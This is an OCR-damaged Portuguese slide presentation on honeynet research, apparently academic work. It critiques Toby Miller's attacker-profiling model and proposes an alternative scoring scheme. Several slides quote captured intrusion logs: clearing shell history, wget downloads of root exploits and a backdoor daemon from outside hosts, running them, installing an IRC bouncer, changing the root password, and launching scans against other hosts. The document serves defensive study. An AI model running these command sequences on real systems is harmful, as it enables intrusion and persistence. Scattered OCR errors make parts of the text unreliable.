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mAvEL Mot | vacao

« Estudar os ataques gerados na | nternet

« Entender os principais objetivos de um atacante
— Mot i vacao
— Técni cas de ataque e invasao
— Passos realizados

e |dentificar o perfil e risco de um atacante




RAVEL Obj et vos

« Construcao de um anbi ente para captura dos dados

de at aque
e Analise dos ataques sofridos

e Estudo do nodelo para identificacao de atacantes,

criado por Toby Ml er
« |ldentificacao de fal has no nodel o ori gi nal
e Proposta de solucOes para as fal has identificadas
« Avaliacao e conparacédo do nodel os
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raver Al ent e Construl do

e Honeynet
— Honeypots comalto nivel de envol vinento
e Servicos e sistenms reais
— Rede dedi cada a captura de infornmacdes
— Diferentes sistemas operacionais
— Rede construida nao e divul gada

« Dados capturados, emgeral, pertencem

ti po de ataque
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raver Al ent e Construl do

« Honeynet (Geracéao 1|)
— Controle e captura de dados
* Honeynet (Geracéo Il) — Utilizada no trabal ho

— I ntroduz novos conceitos para controle e

capt ura

e Limte de conexodes

Utilizacdo de I PS

Bri dges

Control e de | og

outr os
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Honeypot 1 Honeypot 2 Honeypot 3 Honeypot 4 Honeypot 5
Slackware 9.0 Red Hat 9.0 Mandrake 9.0 Windows 2000 Red hat 7.2
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 Criado por Toby MIler

— “Rating the Eneny: How to ldentify the Eneny”.
http://ww. koot . bi z/ docs/ overig/how to identify the eneny. htm

e Analisa 5 categorias de um at ague
— Si stema Oper aci onal
— Reconheci nent o
— At aque
— Ferranentas Uil i zadas

— Endereco | P de Destino
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« Classifica o atacante emrel acdo ao nivel de

conheci nento e ri scos apresent ados:
— Script Kiddie

— Usuari o Conmum

— Usuario Medio

— Adm ni strador de Sistemas

— Atacante Profi ssional
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« Apresenta algunas fal has ao analisar o ataque:

Nao consi dera ataques gerados a partir da
maqui na i nvadi da

Considera o SO destino ao atribuir pontuacao
Desconsi dera a i nvesti gacao da magui na ap0s unm
| nvasao

Desconsi dera a |inpeza de | ogs na maqui na

| nvadi da

Desconsi dera reconheci nent os por Banner e
engenhari a soci al
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RAVEL Mbdel o Ori gi nal

— Desconsi dera atagues de engenhari a soci al

(senhas roubadas)

— Desconsidera o uso de técni cas nmanuai S

— Desconsidera o enprego de ferranentas pessoais

— Desconsi dera o reconheci nento

maqui na di ferente daquel a que

— Qutros

real i zado por uma

executa o ataque



raver  Nbdel o Alternativo

« Criado como objetivo de contornar os probl enas

encont r ados

« Acrescenta novos questionarios e pontuacédo, em

busca de dados nmai s preci sos e coerentes ao ataque
« Mantém a estrutura basica do nodel o origi nal
— Cinco categorias anal i sadas

— Mantém a nesma cl assi fi cacao do atacante
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Mbdel o Alternati vo

Cl assificacdo de Sistemas Operacionais

Si st ema Oper aci onal Pont uacéao
S1 | Wndows 9x| ME 1
S2 | Wndows NT| XP| 2000| 2003 2
S3 | Solaris 4
A Al X 4
S5 MAC 4
S6 HP- UX 4
S7 | Li nux 5
S8 BSD 5
ST | Total da Categoria (1 > 5)
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Mbdel o Alternati vo

O assificacédo por tipo de Reconheci nento

Ti po Pont uacéao
R1 SYN (<=40Byt es) 1
R2 SYN 2
R3 FI'N 2
R4 X-mas tree 2
R5 SYN| FI N 2
R6 TCP Connect 3
R7 RST 2
R8 UDP 2
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Mbdel o Alternati vo

Cl assificacédo por tipo de Reconhecinmento (Cont.)

Ti po Pont uacéao
R9 | CWP 2
R10 | Banner 4
R11 | Engenharia Soci al 5
R12 | Qutros 3
R13 | Rec. De Miltiplas Maqui nas/ Port as -1
R14 | Rec. realizado por diferente 2
maqui na
RT Total da Categoria (0 2> 6)
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Mbdel o Alternati vo

Cl assificacdo de Ataques

Ti po Pont uacéao
Al At aque aplicavel ao SO Si me3, Nao=-1
A2 Novo at aque 7
A3 At aque conum (conheci do) 1
A4 At aque bem sucedi do 5
A5 At aque nodi ficado 3
A6 Maqui na mal confi gurada Nao=2
A7 At aque de Eng. Soci al 3
A8 At aque de mil ti pl as maqui nas 3
A9 At aque de worm 3
Al10 [ N&o se tornou super-usuario -3 o
AT Total da Categoria (-1 > 23) ~
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Mbdel o Alternati vo

O assificacédo de Ferranmentas Utilizadas
Ti po Pont uacéao
F1 Root kit Binario 1
F2 LKM 3
F3 LKM avangado 5
F4 Root ki t W ndows 3
F5 Root kit bem sucedi do Nao=-1
F6 Utilizacdo de técnicas manuai s 5
F7 Ferranment as pessoai s 5
F8 I nvesti gacdo da maqui na i nvadi da Si me3, Nao=-1
F9 Li npeza de registros Si me3, Nao=-1
F10 [ Protecao da maqui na i nvadi da 2
F11 | Instal acdo de novos servi ¢os 2
FT Total da Categoria (-2 > 25)
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Mbdel o Alternati vo

Cl assificacdo para Endereco I P de Destino

Si st ema Oper aci onal Pont uacéao
El Maqui na | i gada 1
E2 Sofre ataque (D)DoS 4
E3 Sof re at ague de pi chanmento 4
E4 Di sponi bilizagcao de servic¢os 4
ES Qutros 3
E6 Comput ador sem dados criticos 4
| nf or magdes Pessoai s
E7 Docunent os Si nF4, Nao=-1
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Mbdel o Alternati vo

Cl assificacdo para Endereco I P de Destino (cont.)

Si st ema Oper aci onal

Pont uacéao

E8 Dados de cartédo de crédito Si 4, Nao=-1
E9 | nf or magcdes bancari as Si mF4, Nao=-1
E10 | Info. financeiras e pessoais Si me4, Nao=-1
| nf ormacdes criticas

Ell | Dados de interesse nacional Si m=8, Nao=-1
E12 | Dados enpresariais Si m=6, Nao=-1
E13 | I nformacbes de rede Si mF4, Nao=-1
E14 | Maqui na gera novos ataques 4
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Mbdel o Alternati vo

Cl assificacdo para Endereco I P de Destino (cont.)

Si st ema Oper aci onal Pont uacéao
E15 | Gera ataques (D)DoS 4
E16 | Gera ataque de pichanento 4
E17 | Di sponi bilizacdo de servic¢os 4
E18 | Qutros 3
E19 | Conput ador sem dados criticos 4
| nf or magcdes Pessoai s
E20 | Docunent os 4
E21 | Dados de cartao de crédito 4
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raver  Nbdel o Alternativo

Cl assificacdo para Endereco | P de Destino (cont.)

Si st ema Oper aci onal Pont uacéao
E22 | I nformagdes bancéri as 4
E23 | Info. financeiras e pessoais 4

| nf ormagdes criticas

E24 | Dados de interesse nacional 8
E25 | Dados enpresariais 6
E26 | I nformcbes de rede 4
ST Total da Categoria (-10->103)
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Mbdel o Alternati vo

Cl assificacdo de atacantes

Pont uagao G assificacao
-5 2> 25 Script Kiddie
26 > 45 Usuari o Basico
46 > 65 Usuari o Medio
66 > 85 Adm ni strador de Sistenmas
Aci ma de 85 At acante Profissional
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« Reconheci nento
Sep 17 18:08:51 ravel Kernel: I NBOUND TCP: I N=br0 OUT=br 0 PHYSI N=et hl PHYSOUT=et h2
SRC=I PATAQUE DST=HONEYPOT5 LEN=60 TOS=0x00 PREC=0x00 TTL=44 | D=43103 DF PROTO=TCP
SPT=34197 DPT=443 W NDOW5840 RES=0x00 SYN URGP=0

« | nvasao (CAN-2002-0656)

bash- 2. 05a$ unset HI STFILE; unane -a; id; w uid=48(apache) gi d=48(apache)
gr oups=48( apache)

« Downl oad e execucdo de um exploit:

bash- 2. 05a$ wget www. j ustdOit. conf Li nux/rh73.tgz
bash-2.05a$ tar zxf rh73.tgz
bash-2.05a$ ./rh73
[+] Attached to 4068
[+] Signal caught
[+] Shell code pl aced at 0x4000f d1ld
[+] Now wait for suid shell...
unset HI STFI LE
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« Instalacdo de um | RC Bouncer
wget geocities. com bogdanul 16/ Li nuZ/ psybnc.tgz

tar zxf psybnc.tgz

cd psybnc

.l psybnc
| Ol ,-"v\/ 7 [ ofl M\ || .-~
| [\ o\ \' [/ | o< | |\ | ] |

10U N SN S Y Y N I U ) O S
Version 2.2.2 (c) 1999-2001

t he nost psychoid
and the cool |anBrz G oup | RCnet
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e MIler: 13 pontos - Usuari o Basico
— SO 3 (Linux->Linux)
— Reconheci nento: 3 pontos
— At aque: 2 pontos
— Ferranentas Utilizadas: O pontos

— Endereco | P de destino: 5 pontos
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Mbdel o Alternati vo:

SO 5 pontos (S7)

Anal | se de Ataque (1)

23 pontos — Script Kiddie

Reconheci nento: 2 pontos (R12-R13)

At aque: 9 pontos (Al+A3+A4)

Ferranentas Uil i zadas:

Endereco | P de desti no:

-2 pontos (-F8-F9)
9 pontos (E1+E4+E6)
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* Reconheci nent o
Sep 19 11:03:16 ravel Kernel: INBOUND TCP: | N=br0 OUT=br0 PHYSI N=et hl
PHYSOUT=et h2 SRC=I PATAQUE1 DST=HONEYPOT5 LEN=52 TOS=0x00
PREC=0x00 TTL=44 | D=44859 DF PROTO=TCP SPT=36327 DPT=443
W NDOW5840 RES=0x00 SYN URGP=0

e Invasao ( CAN-2002-0656)

bash-2. 05a$ unset HI STFI LE; unanme -a; id; w uid=48(apache) gi d=48(apache)
gr oups=48( apache)

e Downl oad e execucdo de um servico novo para realizar o
| ogi n na maqui na (é instal ado um servico conb o tel net
na porta 8081):

bash- 2. 05a$ wget www. t ype. as.ro/ssh

bash-2.05a$ chnod +x ssh

bash-2.05a$ ./ssh :
Daenon is starting...OK pid = 14743 27

(Jja;;‘
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e Atacante volta pela porta 8081, se torna super-usuari o,

altera a senha de root da naqui na e a vascul ha:
sh-2. 05a$ wget www. mast er xxl . 3x.ro/ p.tgz
sh-2.05a$ tar -xzvf p.tgz
sh-2.05a$ ./p
[+] Attached to 14761
[ +] Signal caught
[ +] Shel |l code pl aced at 0x4000f dld
[+] Now wait for suid shell...
sh- 2. 05a#
sh- 2. 05a# passwd r oot
sh-2.05a# cd /var/tnp
sh-2.05a# |s
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raver  Anal i se de At aque (2)

At acante realiza o downl oad de uma ferranenta e passa a

gerar at aques
[root\ @edora root]# wget http://ww. arena-sv.com sel ena.tgz
[root\ @edora root]# tar -zxvf selena.tgz

[root\ @edora root]# ./assl 211.194

Qutras tentativas de ataque sdo realizadas, porémtodas

barradas pel o sistena de control e da Honeynet

Ccorreramtentati vas de downl oad de outras ferranentas,

por €ém Sem sucesso
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e MIler: 13 pontos - Usuario Basico
— SO 3 (Linux->Linux)
— Reconheci nento: 3 pontos
— At aque: 2 pontos
— Ferranentas Utilizadas: O pontos

— Endereco | P de destino: 5 pontos
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Mbdel o Alternati vo:

SO 5 pontos (S7)

Anal | se de Ataque (2)

30 pontos - Usuario Basico

Reconheci nento: 2 pontos (R12-R13)

At aque: 9 pontos (Al+A3+A4)

Ferranentas Uil i zadas:

Endereco | P de desti no:
( E1+E5+E6+E14)

4 pontos (+F8-F9+F11)

12 pont os
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* O nodelo criado por MIler pontua igual nente os

doi s at agues, apesar da grande diferenca

— Desconsi dera pontos i nportantes conp at aques

real i zados através da maqui na i nvadi da

e Onodelo alternativo denonstra nai s coeréncia com

oS tipos de ataques sofridos

— Aval i a todos 0s passos anteriores e posteriores

a | nvasao




rRAVEL  (Conparacao entre os nodel os

— Consi dera ataques realizados pela maqui na

| nvadi da
— Considera outras acodes, conp a troca de senhas

— Nos testes apresentados, assim conp outros
real i zados, o nodelo alternativo apresenta
mai or preci sdao a nedi da que o atagque se torna

mai s conpl exo

« Mantém una cl assificacao idéntica ao nodel o

em at agues nuito sinpl es
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RAVEL Concl usao

« Onodelo alternativo atinge o objetivo esperado:

— Mant ém os conceitos originais introduzi dos por
Ml er

— Ataca os problemas | evantados emrel acao ao

nodel o ori gi nal
— Adi ci ona ao nodel o novas aval i acoes

— Permte um anal i se nai s detal hada do at acant e,

assimcono a sua cl assificacéao




